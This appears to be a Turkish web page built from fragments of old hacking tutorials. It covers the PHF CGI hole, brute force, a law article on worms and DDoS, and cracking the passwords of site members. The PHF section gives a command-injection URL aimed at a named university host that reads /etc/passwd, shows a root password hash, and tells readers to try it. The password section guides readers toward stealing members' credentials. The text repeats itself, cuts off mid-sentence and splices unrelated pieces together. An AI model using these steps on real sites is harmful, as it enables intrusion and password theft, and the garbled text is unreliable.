WEB HACK NEDIR???

WEB HACK NEDIR???

WEB hacking bilgidim kadari ile ilk kez 1996 da FBI in web sitesini hack etmek icin kullanilmis ve basarili olmustur. Tabi bu durum dan sonra FBI bu hatasini gidermistir. Anlatacagim teknik aslinda PHF olarak bilinir.Fakat bir cok eski server da hala uygulanmakta ve netice alinabilmektedir ozellikle japon webcilerinde bu hataya cok rastlanilir ornek vermek gerekirse:

http://www.mo.cs.tutsiki.ac.jp/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Satirini browserinize yazip enter e basin bu satir passwd dosyasini acmaya calisacaktir(adresi attim)

Error 404

/cgi-bin/phf is not found on this server

Bu satirlar karsiniza cikarsa bilinki server yeni ve size gecit vermiyor

Ama asagidaki listeyi verirse bilinki buldunuz:)))

/cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd

root:2fkbNba29uWys:0:1:Operator:/:/bin/csh

Web Hack Ve Exploitler

Merhaba arkadaşlar bu yazımda size Web hack hakkında bilgi vericem.

Yazıma Brute Force İle başlamak istiyorum

Brute Force İle Web Hack:

İlk başta brute forcenin mantıgı acıklıyayım:
Brute force şifreleri deneme yanılma yoluyla yapan bir attack türüdür.Neyse aşagıda biraz daha ayrıntılı anlattım.

Genel Web Hack Yöntemleri Ve Güvenlik Yolları

Yazıma başlamadan önce size bazı gerçeklerden bahsetmek istiyorum. Özellikle gerçekten bilimsel anlamda bilgisayar sektörü ile ilgilenmemişseniz, bu söyleyeceklerim sizin için altın değerinde olacaktır.

1.              Kural : Hiçbir Hacker yada Saldırgan, sihirbaz değildir. Bir şekilde var olan bir açık varsa, o saldırgan, bilgi, yetenek, tecrübe ve şans kriterleri ile o açığı bulur ve kullanır. Her saldırganda bu kriterler aynı olmayacağı için bazıları için atak başarısız olur, bazılar için ise atak karşı tafa büyük hasarlar verir.

2.              Kural : Tamamiyle güvenli sistem diye birşey yoktur.

3.              Kural : Güvenlik işinde garanti yoktur.

Web Hack Nedir?

WEB HACK UZERINE
WEB HACK NEDIR???
  WEB hacking bilgidim kadari ile ilk kez 1996 da FBI in web sitesini hack etmek icin kullanilmis ve basarili olmustur. Tabi bu durum dan sonra FBI bu hatasini gidermistir. Anlatacagim teknik aslinda PHF olarak bilinir.Fakat bir cok eski server da hala uygulanmakta ve netice alinabilmektedir ozellikle japon webcilerinde bu hataya cok rastlanilir ornek vermek gerekirse:

Web Site Hacking

 Selamlar... Bu yazida daha basit ama daha hizli bir hack yontemini anlatcam
Bu yontem cok hosunuza gidecek :) Gerekli Programlar : Internet Explorer
haricinde bir web browser, Cracker Jack ve tabiki Meliksah Ozoral's Dict Maker.
--------------------------------------
Mantik : phf sistemlerde bulunan bir acikdir ve bu acik sayesinde sisteme
web uzerinden baglanip shellde bazi komutlari calistirabilirsiniz...
Not : Calistirdiginiz komutlar cd, ls, cat gibi komutlar silme islemlerini
phf uzerinden yapamiyorsunuz...
--------------------------------------

KURTLAR VE ZOMBİLER

Worm’ların ve DDoS Ataklarının Hukuki İncelemesi
Copyright, Av.Ali Osman Özdilek, Montreal, Ocak 2003

24 Ocak Cuma günü her akşam olduğu gibi İnternet’e girdiğimde browserım bir türlü sayfaları açamadı. Oysa kullandığım ISS nin bağlantılarında hiç yavaşlama olmazdı. Bir terslik olduğunu anladım ve düzenli olarak ziyaret ettiğim güvenlik sitelerinden birine zor da olsa ulaşmayı başardım ve bu yavaşlamanın sebebini öğrendim.ın Ulusal Altyapı Sistemi Koruma Merkezi ( FBI’s National Infrastructure Protection Center ) web sitesinde ( www.nipc.gov ) benzer bir uyarı yayınladı. Bu uyarıda ayrıca NIPC tarafından geliştirilen, sistem yöneticilerinin Trinoo ve TFN’yi inceleyebilmeleri amacıyla kullanabilecekleri ücretsiz bir yazılım da yer alıyordu.

XXX Site Pass Cracking

Bir siteye üye olan kullanıcıların şifresini çalmak için öncelikle o sitede minik bir araştırma yapmamız gerekir. İlk olarak üyelerin kullanıcı adlarını ve şifrelerini girdikleri yerin adresini bulacağız. Üye şifresini çalmak istediğiniz siteye girin. Orada "Üye Girişi" yada "Members" diye bir bölüm olması lazım. Ona tıklayın, büyük ihtimalle şifrenizi soran bir ekranla karşılaşacaksınız. O ekranın çıktığı adresi bir yere not edin. Adresin şöyle bir şey olması lazım:

http://members.siteninadresi.com/
yada
http://www.siteninadresi.com/members/